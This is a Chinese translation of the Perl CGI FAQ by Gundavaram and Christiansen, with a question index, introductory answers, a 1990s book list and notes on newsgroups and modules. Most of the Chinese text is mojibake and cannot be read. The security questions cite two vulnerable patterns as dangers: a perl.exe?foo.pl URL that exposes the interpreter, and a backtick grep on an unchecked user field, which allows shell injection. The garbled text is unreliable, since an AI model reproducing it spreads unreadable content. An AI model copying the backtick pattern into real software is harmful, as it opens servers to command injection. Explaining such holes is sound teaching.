ì¤å§@ªÌ¡G
Shishir Gundavaram <shishir@ora.com>
Tom Christiansen <tchrist@perl.com>
¤¤Ä¶¡B¸É¥R¡G
¿½¦ÊÄÖ <pailing@2Ti.com>
¤åÅ黡©ú¡G
1.0 ¡Ð ¤Jªù²¤¶ | ||
Q1.1: | ¬°¤°»ò§Úªº HTML page/form »Ýn¥Î script¡H | |
Q1.2: | CGI ¦U¥Nªí¤°»ò¡H | |
Q1.3: | ¨ì©³¤°»ò¥s script¡H§Ú¯à®³¥¦¨Ó¯à°µ¤°»ò¡H | |
Q1.4: | ¤°»ò¬O Perl¡H¬°¤°»ò¦³¨º»ò¦h¤H¥Î¥¦¨Ó°µ CGI¡H | |
Q1.5: | ¦³¨S¦³±Ð CGI ©Î Perl ªº®Ñ©Î¬O½u¤W¸ê®Æ¡H | |
Q1.6: | ¬O¤£¬O¦³³o¤è±ªº¶l»¼½×¾Â (mailing lists) ©Î·s»D°Q½×¸s²Õ¡H | |
Q1.7: | ºô¸ô¤W¬O¤£¬O¦³±Mªù¦¬Âöl»¼½×¾Â©Î·s»D°Q½×¸s²Õªº posts ªº¯¸¡H | |
2.0 - Modules ¡]¼Ò²Õ¡^ | ||
Q2.1: | §Ú¬O¤£¬O¸Ó¥Î Perl CGI modules ¨Ó¼g CGI scripts ¡H¦Û¤v°µ¤£¬O¤ñ¸û®e©ö¶Ü¡H | |
Q2.2: | ¦p¦óª¾¹D¬YÓ module ¸Ó«ç»òӥΪk¡H | |
Q2.3: | ¦³þ¨Ç Perl4 ªº CGI ©Î WWWªº libraries ¡H | |
Q2.4: | ¦³þ¨Çµ¹ Perl5 ¨Ï¥Îªº CGI modules¡H§Ú¸Ó¥ÎþÓ¡H¬°¤°»ò¡H | |
Q2.5: | ¬°¤°»ò³o»ò¦h perl CGI libraries ³£¬O object-oriented ¡]ª«¥ó¾É¦V¡^ªº¡H§Ú¹ï¥Îª«¥ó¾É¦V¨Ó¼gµ{¦¡¤@¬¤£³q¡CÃø¹D´N¨S¦³Â²³æ¤@ÂI¡Aµ¹¤£·|ª«¥ó¾É¦Vªº¤H¨Ï¥Îªº libraries ¶Ü¡Hª«¥ó¾É¦V¦³¦hÃø¡H | |
3.0 - CGI »P WWW Server | ||
Q3.1: | §Úªº Perl CGI µ{¦¡n©ñ¦bþ¸Ì°õ¦æ¡Hcgi-bin ³oӥؿý¬O°µ¬Æ»ò¥Îªº¡H | |
Q3.2: | ¤°»ò¬OÀɮרϥÎÅv¡H«ç¼Ë§ï¡H | |
Q3.3: | Perl À³¸Ó¦w¸Ë¦bþ¸Ì¤~¥i¥H°õ¦æ¥¦¡H | |
Q3.4: | §Ú¬°¤°»ò¤@ª½±o¨ì ``Server: Error 500'' ªº°T®§¡H | |
Q3.5: | §Ú¸ÕµÛ¥´¶}¤@ÓÀɮסA·Q§â¸ê®ÆÀx¦s¦b¸ÌÀY¡A¦ý¬O open() ªº«ü¥O¥¢±Ñ¤F¡C¨ì©³¬O«ç»ò·dªº¡H | |
4.0 ¡Ð µ{¦¡³]pºÃÃøÂø¯g | ||
Q4.1: | §Ú·QÅý user ¶ñªº form ¸ê®Æ¦Û°Ê±Hµ¹§Ú¡A¸Ó«ç»ò°µ¡H¦³¨S¦³½d¨Ò¡H | |
Q4.2: | è¤~³oӥΠform °e«Hªº script ¬Ý°_¨Ó¦³ÂIÃø¡C¬°¤°»ò¤£°®¯Ü¥Î ``mailto: URL''¡A³o¼Ë user ¶ñ¤Jªº¸ê®Æ´N¥i¥H±Hµ¹§Ú¤F¡H | |
Q4.3: | §Ún¦p¦ó¦b UNIX ¥H¥~ªº¥¥x¤W°µ Perl-CGI¡AÄ´¦p Mac¡BMS-DOS¡B Windows ¤Î NT¡H§Úªº Perl CGI µ{¦¡¯à¤£¯à¦b³o¨Ç¥¥x¤§¶¡¤¬¬Û²¾´Ó©O¡H¯à¤£¯à «Üª½±µ¡A¨S¦³³Â·Ð¡H§Ú¦b UNIX ¥D¾÷¤W¦³±b¸¹¡A¦ý¬O³£¬O¥ý¦b Windows/Mac ¤W°µ¡C §Ún¦p¦ó¦b§Ú¦Û¤vªº¾÷¾¹¤W´ú¸Õ¼g¦nªº CGI scripts¡H | |
Q4.4: | ¦b Perl CGI µ{¦¡¤¤¡ASTDERR ¡]¼Ð·Ç¿ù»~°T®§)¡BSTDIN (¼Ð·Ç¿é¤J¡^¡A©M STDOUT ¡]¼Ð·Ç¿é¥X¡^ ¦U¬O³s¨ì¦ó³B¡H | |
Q4.5: | ¦p¦ó¼gp¼Æ¾¹¡H | |
Q4.6: | n¦p¦ó¥Î¤@Ó Perl ªº¨ú¥N«ü¥O±N©Ò¦³ HTML ¼ÐÅÒ±q¤@¥÷¤å¥ó¤¤§R°£¡H | |
Q4.7: | n¦p¦óª¾¹D¬O½Ö¡þþ¥x¾÷¾¹¡þþÓÂsÄý¾¹°õ¦æ¤F§Úªºµ{¦¡¡H | |
Q4.8: | ¤H®a¬Ý±o¨ì§Úªº Perl CGI µ{¦¡¶Ü¡H¦pªG¬O³o¼Ëªº¸Ü¡A¨º¤£´NÅý¥L̪¾¹D§Úªºµ{¦¡¬O«ç»ò¹B§@ªº¤F¡C³o¬OÓ¦w¥þº|¬}¶Ü¡H§Ún«ç»ò§â¥¦ÁôÂð_¨Ó¡H | |
Q4.9: | §Ú»Ýn±N¾ãÓ Perl library ³£½Æ»s¨ì§Úªº htdocs ¥Ø¿ý©³¤U¶Ü¡H | |
Q4.10: | §Ú¬°¤°»ò¤£¸Ó¥s¨Ï¥ÎªÌ¿é¤J¥L̪º±K½X©Î¨¥÷ÃÒ¦r¸¹©Î«H¥Î¥d¸¹½X¡H¦³¤@Ó TYPE="password" ¤£¬O´N¬O®³¨Ó°µ³oÓªº¶Ü¡H | |
Q4.11: | §Ún¦p¦ó²£¥Í±Mªù´À Netscape ³]pªººô¶¡A¥H§O©ó¥@¤W¨ä¥LªºÂsÄý¾¹¡H | |
Q4.12: | ¬°¤°»ò§Úªº system() ©Ò²£¥Íªº¸ê®Æ¿é¥X¶¶§Ç¤£¹ï¡H | |
Q4.13: | §ÚÅ¥»¡ Netscape ·|¤ä´© Java¡C³o¬O¤£¬O»¡ §Ú²{¦b±o±ó Perl¡A§ïJava ¤F¡H¬O¤£¬O¸Ó³o»ò°µ¡H | |
Q4.14: | §Ún¦p¦óŪ¨úÀô¹ÒÅܼơH¬°¤°»ò¥¦Ì¦³®ÉÔ·|¤£¤@¼Ë¡H | |
Q4.15: | ¬°¤°»ò§Ú¿é¥Xªº¸ê®Æ³QÅͶäF¡]¦p ``b < a'' ·|³Q¯}Ãa±¼¡^¡H | |
Q4.16: | ¬°¤°»ò§ÚªºPerl CGI µ{¦¡¥i¥H¥Ñ«ü¥O¦C¡A«oµLªk±qÂsÄý¾¹¥h°õ¦æ¡H | |
Q4.17: | ¬°¤°»ò§Úªº Perl CGI µ{¦¡¯à¶]¡A¦ý¬O¤£·|§â¸ê®Æ¼g¨ìÀɮפ¤¡H | |
Q4.18: | n¦p¦ó°µ¤@Ó·|ºûôª¬ºA¡A©Î¤¹³\¡i¦P¤@¨Ï¥ÎªÌ¡j¦h¦¸³s½uªº form¡H | |
Q4.19: | ¦pªG¤£±qÂsÄý¾¹¥h°õ¦æ§Úªº CGI µ{¦¡¡An¦p¦ó´À¥¦°£¿ù¡H | |
Q4.20: | ¦pªG¤£¾a<FORM>¼ÐÅÒ¡An¦p¦ó¥s¥X Perl CGI µ{¦¡¡H | |
Q4.21: | n¦p¦óÁ×§K®Ç¤H¤£¥ý¶ñÄæ¦ì´N°õ¦æ§Úªº form¡H¥L̬°¤°»ò¤@ª½¤£Â_³o»ò°µ¡H | |
Q4.22: | ¨º¨Ç server ¦^À³½X (server response codes) ¬O·F¤°»ò¥Îªº¡H¦³¤°»ò·N¸q¡H | |
Q4.23: | ¬°¤°»ò
print "Location: http://host/page.html\n"
¤£ work¡H¤S¬°¤°»ò¥¦¥u work ¤@¦¸¡A¦ýÀH«áªºÂà¦V´N³£§Ë¿ù¤F©O¡H
| |
Q4.24: | n¦p¦óÅý server ¦b¨CÓ HTML ºô¶ªº©³³¡³£¦Û°Ê¥[¤W¤@Ó¡G¡u³Ìªñ§ó·s¤é´Á¡G ...¡vªº§i¥Ü¡H©ÎªÌ¡A¬O¤£¬O¥u¦³ SSI ªººô¶¤~¯à³o»ò°µ¡HCGI µ{¦¡ªº¤é´Án¦p¦ó¨ú ±o¡H | |
Q4.25: | ¤°»ò¼Ëªº³õ¦X¤U¥H Perl ¼g CGI µ{¦¡·|Åã±o¤Ó¤pÃD¤j§@¡A¦]¬°¥Î shell ´N¥i¥H°µ¨ì¡H¦Ó¤°»ò¼Ëªº³õ¦X¹ï Perl ¨Ó»¡¤S¹L©ó§xÃø¡H¥Î C++ °µ³oÃþªº¨Æ¤£¬O¦n±o¦h¶Ü¡H¨º¥Î C ©O¡H | |
5.0 ¡Ð ¦w¥þ | ||
Q5.1: | ¥H Perl ¼g¦¨ªº CGI µ{¦¡¬O¤£¬O¤£¦p¥H shell ©Î C ¼gªº¨Ó±o¦w¥þ¡H | |
Q5.2: | §Ú¸Ó¯S§O¯d·Nþ¨Ç¦w¥þ¨Æ¶µ¡H | |
Q5.3: | ¬°¤°»ò¤j®a³£»¡
http://bigidiot.abuse-me.com/perl.exe?foo.pl
³o¼Ë«Ü¦MÀI¡H·|¦³¦hÁV¡H
| |
Q5.4: | n¦p¦ó¦bµ{¦¡¤¤¦w¥þ¦a¨Ï¥Î°f¦VºJ¸¹¡]backticks¡A"`"¡^¡H³o»ò°µ¡G@ans = `grep'$user_field' some.file`;
¬O¤£¬O¯uªº¤£¦w¥þ¡H
| |
Q5.5: | /$user_variable/ ³oÓ¥yªk¬O¤£¬O Perl 5 ¤¤ªº¤@Ó¦w¥þº|¬}¡H
| |
ª©Åv¨Æ©y |
¦]¬°¦³ªº®ÉÔ±z»Ýn¦b HTML ¤å¥ó¤¤¨Ï¥Î°ÊºA¸ê®Æ¡]«D©T©w¤£Åܪº¸ê®Æ¡^¡C ³o¥]¬A¤F¤é´Á©M®É¶¡³oÃþªºÂ²³æ¸ê®Æ¡A©Î¬O¤@ÓÅã¥Ü¡u±z¬O²Ä xxx ¦ì³X«È¡vªºp ¼Æ¾¹¡C¦ý¥¦¤]¥i¯à¥]¬A®Ú¾Ú¨Ï¥ÎªÌ¿é¤J¦Ó±o¥Xªº¤j»æ¹Ï¡þ±ø²Î¹Ï¡B¸ê®Æ®w·j´M²£ ¥Íªºµ²ªG¡A©Î°Êµeµ¥³oÃþªºªF¦è¡Cn°µ¥X¹³³o¼ËªºªF¦è¡A±z°ß¤@ªº¤èªk¬O¨Ï¥Î CGI scripts ¡]¾¨ºÞ±z¤]¥i¥HÀ³¥Î«È¤áºÝµ{¦¡¡A¦p Java ©M JavaScript ¨Ó¹F¨ì³o ªº¡A¤£¹L¨º¤S¬O§¹¥þ¤£¦Pªº¤@¦^¨Æ¡I¡^¡C
¥H¤U¬O§Úªº½s¿è* Andy Oram ©M Linda Mui ¡]¥L̫ܴΡI¡^©Ò¼gªº¤@¬q«D ±`¦nªº´yz¡G
¡iĶªÌ¡j³o¬Oì¤åªº²Ä¤@§@ªÌ Shishir G. «ü¥L©Ò¼gªº CGI Programming on the World Wide Web ¤@®Ñªº½s¿è¡C
Common ¦V±z½T«O CGI ¥i¥H¨Ï¥Î¦hºØµ{¦¡»y¨¥¨Ã©M¦hºØ ¤£¦Pªº¨t²Î¤¬°Ê¡C¥¦Åý±z¦Û¥Ñ¿ï¾Ü¹F¨ì¥Øªºªº¤è ªk¡A¤£§â±z¸j¦º¦b³æ¿W¤@ºØ§@ªk¤§¤U*¡C Gateway ´£¥Ü±z CGI ªº¤O¶q¤£¦b©ó¥¦¥»¨©Ò°µªº¨Æ¡A¦Ó ¦b©ó¥¦´£¨Ñ¤F³sµ²¨ä¥L¨t²Îªº¼ç¤O¡A¨Ò¦p¸ê®Æ®w ©M¹Ï§Î»s³y¾¹¡C Interface ¥u¬Oªí¥Ü CGI ¹ï¦p¦óµ½¥Î¨ä¯S©Ê´£¨Ñ¤F©ú½Tªº ¬É©w¡Ð´«¥y¸Ü»¡¡A±z¥i¥H³]pµ{¦¡¨Ó¾A·í§Q¥Î³o Ó¤¶±¡C¡iĶªÌ¡j¦ü¥G¦³¼v®g Java ¤§·N¡C
²³æªº»¡¡Ascript ´N¬Oµ{¦¡¡I¦n§a¡B¦n§a¡AÀ³¸Ó»¡¤GªÌ¦³»y·N¤Wªº®t§O¡C¦pªG±z ¯uªº·Qª¾¹D¡A¨º»ò¥h¶R¤@¥»¹q¸£µ{¦¡³]pªº®Ñ¨Ó¬Ý¡]©Î³\¸Ó»¡ script ³]p :-) ¡^¡C
±z¥i¥HÂǵۼg CGI µ{¦¡/script ÅܫܦhÅ]³N¡C±z¥i¥H§Y®É»s§@¹Ï§Î¡B³sµ²¸ê®Æ®w ¶Ç¦^¡i¬d¸ß¡jµ²ªG¡AÁÙ¥i¥H³s¨ì Internet ¤W¨ä¥Lªº servers ¥h¡C
µª®×´N¦b perl manpage ¤¤ªº«e¤T¦æ±Ôz¡G
Perl ¬O¤@¸Ñͦ¡ªº»y¨¥¡A±M¬°°ª®Ä²vÀ˵ø¤å¦rÀÉ®× ¡B±q¤¤©â¨ú¸ê®Æ¡A¾Ú¥H¦L»s ³øªí¦Ó³]p¡Cµ´¤j¦h¼Æ CGI À³¥Îµ{¦¡ªº¥ô°È³£¯A¤Î¹ï¸ê®Æ§@¬YºØµ{«×ªº³B²z¡A¤Î³sµ²¥~¦bµ{¦¡¡C Perl «ê¦n´£¨Ñ¤F¦n¥Îªº¤u¨ã¡AÅý¤H»´ÃP´r§Ö¦a¹F¦¨³o¨Ç¥ô°È¡C
¡iĶªÌ¡j¦¹¥÷ FAQ ªº¤¤Ä¶ª©¥i¦b http://www.acer.net/document/cwwwfaq/ ³B¨ú±o¡C
¥H¤U¬O¥Ñ Cye H. Waldman ©Ò¾ã²zªº CGI ©M Perl ®ÑÄy¤@Äýªí*¡G
¡iĶªÌ¡j¦¹ªí¥ÑĶªÌ§ó·s¡A¦P®É¥[¤J¤Fì¤å§@ªÌ Tom C. ªº Perl ®Ñµû¥H¨ÑŪªÌ °Ñ¦Ò¡C½Ðª`·N¡GCGI ¦U®Ñªºµ¥¯Åµû©w¤D³æ´N¨ä Perl ³¡¥÷ªº¤ô·Ç¤Î¥¿½T©Ê¦Ó¨¥¡C²Å ¸¹»¡©ú¡G¡]Tom C. ¥ÎÀd¾m¦Ó«D¬P¬P¡^
¤Áû¬P¡]¡Î¡Î¡Î¡Î¡Î¡^ ==> «Ü´Îªº®Ñ (terrific books) ¥|Áû¬P¡]¡Î¡Î¡Î¡Î¡^ ==> ¤£¿ùªº®Ñ (fine books) ¤TÁû¬P¡]¡Î¡Î¡Î¡^ ==> ¹³¼Ëªº®Ñ (decent books) ¨âÁû¬P¡]¡Î¡Î¡^ ==> °¨°¨ªêªê¡B«j±j¹L±o¥hªº®Ñ (so-so books) ¤@Áû¬P¡]¡Î¡^ ==> ®t«lªº®Ñ (poor books) ¹sÁû¬P¡]0¡Î¡^ ==> ¤jÄê®Ñ (terrible books) NA ==> ¤£¾A¥Î¡BµL®Ñµû (Not Applicable/Available) v4 ==> ¤º®e¸û¦Ñ¡A¶È§t»\ Perl4
§@ªÌ | ®Ñ¦W | µû»ù | ¥Xª©ªÌ | ©Òªþ³nÅé | °â»ù¡]¬üª÷¡^ |
---|---|---|---|---|---|
?? | Cgi Programming For Dummies ¡]¹w©w¥Xª©¤é´Á¡G1997¦~1¤ë¡^ |
NA | IDG Books | $25 | |
Jeffrey Friedl | Mastering Regular Expressions: Powerful Techniques for Perl and Other Tools ¡]¹w©w¥Xª©¤é´Á¡G1997¦~1¤ë¡^ |
NA | O'Reilly | $30 | |
J.M. Ivler | CGI Developer's Resource ¡]¹w©w¥Xª©¤é´Á¡G1997¦~3¤ë¡^ |
NA | Prentice Hall | ¥úºÐ | $45 |
Various authors | Perl 5 Windows NT Programming ¡]¹w©w¥Xª©¤é´Á¡G1997¦~1¤ë¡^ |
NA | New Riders | $45 | |
Eric Herrmann | Teach Yourself CGI Programming with Perl 5 in a Week, 2nd Ed. | NA | Sams.net | ¥úºÐ | $40 |
Mark Felton | CGI: Internet Programming C++ & C ¡]¹w©w¥Xª©¤é´Á¡G1997¦~3¤ë¡^ |
NA | Prentice Hall | $?? | |
Ed Tittle | CGI Bible ¡]¹w©w¥Xª©¤é´Á¡G1996¦~11¤ë¡^ |
NA | IDG Books | $?? | |
Craig Patchett & Matt Wright |
The CGI Cookbook: Perl and JavaScript ¡]¹w©w¥Xª©¤é´Á¡G1996¦~11¤ë¡^ |
NA | Wiley | ¥úºÐ | $40 |
Baron Weil | Drag-n-Drop CGI ¡]¹w©w¥Xª©¤é´Á¡G1997¦~1¤ë¡^ |
NA | Addison-Wesley | $?? | |
Stephen Lines | How To Program CGI with Perl 5.0 | NA | Ziff-Davis | ¥úºÐ | $40 |
Bob Denny et al. | CGI Programming for Windows ¡]¹w©w¥Xª©¤é´Á¡G1997¦~3¤ë¡^ |
NA | O'Reilly | ºÏ¤ù | $30 |
Selena Sol & Gunther Birznieks |
Instant Web Scripts with CGI/Perl | NA | MIS:Press/M&T Books | ¥úºÐ | $40 |
?? | Perl For Dummies ¡]¹w©w¥Xª©¤é´Á¡G1996¦~10¤ë¡^ |
NA | IDG Books | $25 | |
Steven E. Brenner & Edwin Aoki |
CGI Web Scripting With Perl ¡]¥Xª©¨ú®ø¡^ |
NA | MIS:Press/M&T Books | ¥úºÐ | $40 |
?? | Perl & CGI Programming Starter Kit | NA | Sams.net | $45 | |
Mohammed J. Kabir | CGI Primer Plus for Windows | NA | Waite | ¥úºÐ | $45 |
Ed Tittel et al. | Foundations of WWW Programming with HTML and CGI, 2nd Ed. ¡]¹w©w¥Xª©¤é´Á¡G1996¦~10¤ë¡^ |
NA | IDG Books | ¥úºÐ | $?? |
Jerry Muelver | Creating Cool Web Pages With Perl | ¡Î¡Î | IDG Books | ¥úºÐ | $30 |
John December | HTML & CGI Unleashed, Professional Reference Edition | NA | Sams.net | ¥úºÐ | $50 |
Eric Johnson | Cross-Platform Perl (See also the author's book site.) ¡]¹w©w¥Xª©¤é´Á¡G1996¦~9¤ë¡^ |
¡Î¡Î¡Î¡Î | MIS:Press/M&T Books | ¥úºÐ | $35 |
Daniel Berlin et al. | CGI Programming Unleashed | NA | Sams.net | $55 | |
Clinton Wong | Web Client Programming in Perl ¡]¹w©w¥Xª©¤é´Á¡G1997¦~3¤ë¡^ |
NA | O'Reilly | $30 | |
Robert Seymour | Perl 5 ¡]¹w©w¥Xª©¤é´Á¡G1996¦~10¤ë¡^ |
NA | Springer-Verlag | $40 | |
Mícheál ó Foghlú | Perl 5 Quick Reference | ¡Î | Que | $20 | |
Robert Niles & Jeffry Dwight |
CGI by Example | NA | Que | ¥úºÐ | $35 |
Jonathan Hagey | PC Magazine Programming Perl 5.0 CGI Web Pages for Microsoft Windows NT | 0¡Î | Ziff-Davis | ¥úºÐ | $35 |
?? | Web Programming with Perl ¡]¹w©w¥Xª©¤é´Á¡G1996¦~8¤ë¡^ |
NA | Sams.net | ¥úºÐ | $40 |
?? | Perl 5 Developer's Guide ¡]¹w©w¥Xª©¤é´Á¡G1996¦~12¤ë¡^ |
NA | Sams | ¥úºÐ | $60 |
David Medinets | Perl 5 by Example | ¡Î¡Î+1/2¡Î | Que | ¥úºÐ | $35 |
Stephen Asbury et al. | CGI How-To | NA | Waite | ¥úºÐ | $40 |
Carl Franklin | Visual Basic Internet Programming ¡]¹w©w¥Xª©¤é´Á¡G1996¦~5¤ë¡^ |
NA | Wiley | ¥úºÐ | $40 |
InfoMagic | Mother of Perl ¡]¤@®M¨â±i¥úºÐ¡^ |
NA | SSC | ¥úºÐ | $35 |
Larry Wall et al. | Programming Perl, 2nd Ed. | ¡Î¡Î¡Î¡Î¡Î | O'Reilly | $40 | |
Eugene Kim | CGI Developer's Guide ¡]¹w©w¥Xª©¤é´Á¡G1996¦~5¤ë¡^ |
¡Î¡Î | Sams.net | ¥úºÐ | $50 |
Robert McDaniel | CGI Manual of Style ¡]¥i¦Û½u¤W¨ú±o¡^ |
NA | Ziff-Davis | $25 | |
?? | Perl 5 for Dummies ¡]¹w©w¥Xª©¤é´Á¡G1996¦~¡^ |
NA | IDG Books | ¥úºÐ | $?? |
Ginsburg & Tall |
Developing Internet Applications with Perl ¡]¹w©w¥Xª©¤é´Á¡G1996¦~3¤ë¡^ |
NA | Sams.net | $?? | |
Kamran Husain | Perl 5 Unleashed | ¡Î | Sams | ¥úºÐ | $50 |
Norton | Teach Yourself Perl 5, 2nd Edition ¡]¹w©w¥Xª©¤é´Á¡G1996¦~6¤ë¡^ |
NA | Sams | ¥úºÐ | $?? |
Michael Erwin et al. | Special Edition Using CGI | NA | Que | $60 | |
Thomas Boutell | CGI Programming in C and Perl | ¡Î¡Î¡Î¡Î | Addison-Wesley | ¥úºÐ | $35 |
Johan Vromans | Perl 5 Desktop Reference | NA | O'Reilly | $7 | |
Christian Neuss & Johan Vromans |
The Webmaster's Handbook: Perl Power for Your Web Server | NA | Int'l Thomson | ¥úºÐ | $30 |
William E. Weinman | The CGI Book | NA | New Riders | ¥úºÐ | $45 |
Brian Jepson | World Wide Web Database Programming for Windows NT | NA | Wiley | ¥úºÐ | $40 |
Steven E. Brenner & Edwin Aoki |
Introduction to CGI/ Perl | ¡Î¡Î¡Î(v4) | MIS:Press/M&T Books | $20 | |
Ed Tittel & Sebastion Hassinger |
Perl 5 Programming Secrets ¡]¹w©w¥Xª©¤é´Á¡G1996¦~3¤ë¡^ |
NA | IDG Books | ¥úºÐ | $45 |
David Harlan et al. | Special Edition Using Perl 5 for Web Programming |
¡Î¡Î | Que | $50 | |
Shishir Gundavaram | CGI Programming on the World Wide Web | ¡Î¡Î | O'Reilly | ¥úºÐ | $30 |
Robert Farrel | The Official 60 Minute Guide to CGI Programming with Perl | ¡Î¡Î¡Î(v4) | IDG Books | $20 | |
Ed Tittel & Sebastion Hassinger |
Web Programming Secrets with HTML, CGI & Perl | NA | IDG Books | ¥úºÐ | $45 |
John Deep & Peter Holfelder |
Developing CGI Applications with Perl | ¡Î¡Î(v4) | Wiley | $30 | |
Jon Orwant | Perl 5 Interactive Course | ¡Î¡Î¡Î | Waite | ¥úºÐ | $50 |
Aidan Humphreys et al. | Perl 5 How-To | ¡Î¡Î¡Î | Waite | ¥úºÐ | $45 |
Eric Herrmann | Teach Yourself CGI Programming with Perl in a Week | ¡Î¡Î¡Î(v4) | Sams.net | ¥úºÐ | $40 |
Walnut Creek | Perl ¡]¦¬¿ý¦UÃþ¸ê·½¡BÀÉ®×®w¡B¤Jªù«ü¾É¡B¹ê¨Ò¡Bsource code µ¥¡^ |
NA | Walnut Creek | ¥úºÐ | $40 |
Carl Dichter & Mark Pease |
Software
Engineering with Perl ¡]¶i¶¥¯Å¡A¤º®e°w¹ï³nÅé±M·~¤H¥K³]p¡F«D¤Jªù«ü¤Þ¡^ |
¡Î | Prentice Hall | ºÏ¤ù | $30 |
Ellie Quigley | Perl by Example | ¡Î¡Î¡Î(v4) | Prentice Hall | $27 | |
John December & Mark Ginsburg |
HTML & CGI Unleashed | NA | Sams.net | ¥úºÐ | $50 |
David Till | Teach Yourself Perl in 21 Days | ¡Î¡Î(v4) | Sams | $30 | |
Larry Wall & Randal L. Schwartz |
Programming Perl | NA | O'Reilly | $30 | |
Randal L. Schwartz | Learning Perl | ¡Î¡Î¡Î¡Î(v4) | O'Reilly | $25 | |
Ed Tittel et al. | Foundations of WWW Programming with HTML and CGI | NA | IDG Books | ¥úºÐ | $40 |
Lincoln Stein | How To Set Up and Maintain a
World Wide Web Site, 2nd Edition ¡]¹w©w¥Xª©¤é´Á¡G1997¦~1¤ë¡^ |
¡Î¡Î¡Î¡Î | Addison-Wesley | ¥úºÐ | $55 |
¡iĶªÌ¡j¤¤¤åªº CGI ©M Perl ªº®Ñ¥Ø«h©|«Ý¦n¤ßªºÅªªÌ´£¨Ñ¡C
¨C¤Ñ¦³µL¼Æªº CGI °ª¤â¦b¡uºÊµø¡vµÛ³oӫܦ³¥Îªº·s»D°Q½×¸s²Õ¡G comp.infosystems.www.authoring.cgi*¡C
¡iĶªÌ¡j¤¤¤åªº°Q½×¸s¤¤³Ì¾A¦X°µ³o¤è±ªº°Q½×ªº¤j·§nºâ¬O tw.bbs.comp.www ¤F¡CÁÙ¦³¡A½Ð¤£n±N CGI °ÝÃD post ¨ì comp.lang.perl.misc ¤WÀY¥h¡A§O»¡Ä¶ªÌ¨S¥ýĵ§i±z³á ;-) ¡C
¦ý¬O¡A°£«D±z¥ý§â FAQ Ū¹L¤@¹M¡A§_«h±z¤£À³¸Ó¨ì³oÓª©¤l¤W¥hÀH«K post °ÝÃD ¡]©Î¨ä¥L¥ô¦óª©¤l¡F¦P¼Ëªº¹D²z¡^¡C
ºô¸ô¤W¦³¦U¦¡¦U¼Ë °Q½× Perl¡BCGI¡A¤Î Web ªº¶l»¼½×¾Â¡A¦ý¥H©³¤U³o¨âӳ̨üÅwªï¡G
¡iĶªÌ¡j¦¹ mailing list ¤w¸g¼Æ¤ë¨S¦³ posts ¡A¹Ø²×¥¿¹ì¤F¡C³o¥i¯à¬O¥Ñ©ó °Q½×ªº¥DÃD¡ÐCGI::* ¼Ò²Õ®M¥ó¡]¸Ô¨£¥H¤U²Ä¤G½g¡uModules ¡]¼Ò²Õ¡^¡vªº»¡©ú¡^ ¤w¸g¦³¦n¤@¬q®É¶¡¨S¦³§ó·s¤F¡C¼Ò²ÕªººûÅ@¤H Lincoln Stein ªñ¤@¦~¦h¨Ó¦ü¥G³£ ±N«¤ß©ñ¦b¥Lªº CGI.pm ¤W¡A¦Ó CGI.pm ¤]¨ú¥N¤F CGI::* ³oÓ®M¥óªº¦a¦ì¡CŪªÌ ¦p¹ï CGI::* ©Î CGI.pm ¦³°ÝÃDªº¸Ü¥i¼g¨ì comp.lang.perl.modules ¤WÀY¥h¡C
¡iĶªÌ¡j¦¹ mailing list ¤£¾A¦X°µ CGI ªº°Q½×¡Clibwww-perl ¬O¤@¶µ¥H Perl ¬°µo®i¤u¨ã¡BÃþ¦ü W3C/CERN ªº libwww ªºpµe¡]«áªÌ¥Îªº¬O C¡^¡C
CPAN: Perl ¼Ò²Õ¦P®É¤]¥i¥H¦b¦h«½Æ»s¡B¤À´²¦¡ªº CPAN ¨t²Î¨ú±o¡C ³o·|¦Û°Ê´À±z¿ï¾Ü¤@Ó¡u¾aªñ±zªº¯¸¡v¡CÄ´ ¦p»¡¡A±z¥i¥H§ì LWP ¼Ò²Õªº source ©Î¥u§ì¥¦ªº readme¡C
¬Oªº¡A±z¥i¥H¸Õ¸Õ The Usenet Newstand¡C©Ò¦³comp.infosystems.www.* °Q½×¸s²Õªº¤å³¹³£¦¬¶°¦b¨º ¨à*¡C¦P®É¡Acgi-perl ¤Î libwww ³o¨âÓ¶l»¼½×¾Â¥L̤]¦³¦¬¶°¡C
¡iĶªÌ¡j±z¦P®É¥i¥H¸Õ¸Õ DejaNews ¡B AltaVista ¡A©M HotBot ³o´XÓ·j´M¤ÞÀº¡þ¸ê®Æ®w¡C DejaNews ¬Æ¦Ü³s tw.bbs.* ³£¦¬¶° ¡]¨ä¥L¨âөγ\¤]¦³¡A¦ýĶªÌ¨S¸Õ¹L¡^¡C
¡iĶªÌ¡j CGI modules ¦b¦¹«ü CGI.pm ¤Î¨ä¥L CGI::* ªº¼Ò²Õ¡F¸Ô¨£ Q2.4 ¡C
³o§¹¥þ¨ú¨M©ó±zn°µªº¬O¤°»ò¡CCGI modules ¸û¾A¦X«¶q¯Åªº CGI scripts ¡C¦p ªG¬O²³æªº scripts ªº¸Ü¡A¦Û¤v°µ©ÎªÌ¬O¥Î CGI Lite ³oÓ¼Ò²Õ·|²«K³\¦h¡C¦p ªG±z¯uªºÄ@·N¡A±z¬Æ¦Ü¥i¥H¥Îªº Perl4 cgi-lib.pl ³oÓ library*¡C
¡i͵ù¡j §@ªÌ Tom C. ¤§©Ò¥H³o»ò»¡¬O¦]¬°¥L°ò¥»¤W¤£ÃÙ¦¨¨Ï¥Îcgi-lib.pl ¡A¦³ ¿³½ìªºÅªªÌ¥i¥H¬Ý¥L¼gªº Why I am not fond of cgi-lib.pl ¡]¬°¤°»ò§Ú¤£ªY½à cgi-lib.pl ¡^¡C
¤j¦h¼Æ modules ªº¨Ï¥Î»¡©ú¬Oª½±µ´O¦b µ{¦¡¸Ìªº*¡C ¦pªG¬O³o¼Ëªº¸Ü¡A±z¥i¥H¥Î pod2man ³oÓ script ¨Ó¾\Ū¨Ï¥Î«ü«n¡G
% pod2text name_of_module.pm
% pod2man name_of_module.pm | nroff -man | more
¡i͵ù¡j¦pªG±z¦b *.pm Àɤ¤¬Ý¨ì ``=head1''¡B``=cut'' ³oÃþªºªF¦è«K¬OÅã¥Ü¨Ï ¥Î»¡©ú¦³ªþ¦b¸ÌÀY¡C³o¬O Larry Wall ³]pªº POD (Plain Old Document) ®æ¦¡¡C ¸Ô¨£ perlpod manpages¡C
³Ì¼s¬°¨Ï¥Îªº Perl4 CGI library ¬O Steve Brenner ªº cgi-lib.pl¡C
¦¹¥~¡ALincoln ¡]Lincoln Stein¡FCGI.pm ªº§@ªÌ¡^ÁÙ¼g¤F¤@¥»°Q½× Web ©M CGI «D±`¦nªº®Ñ¡A¥s How To Set Up and Maintain a World Wide Web Site¡C
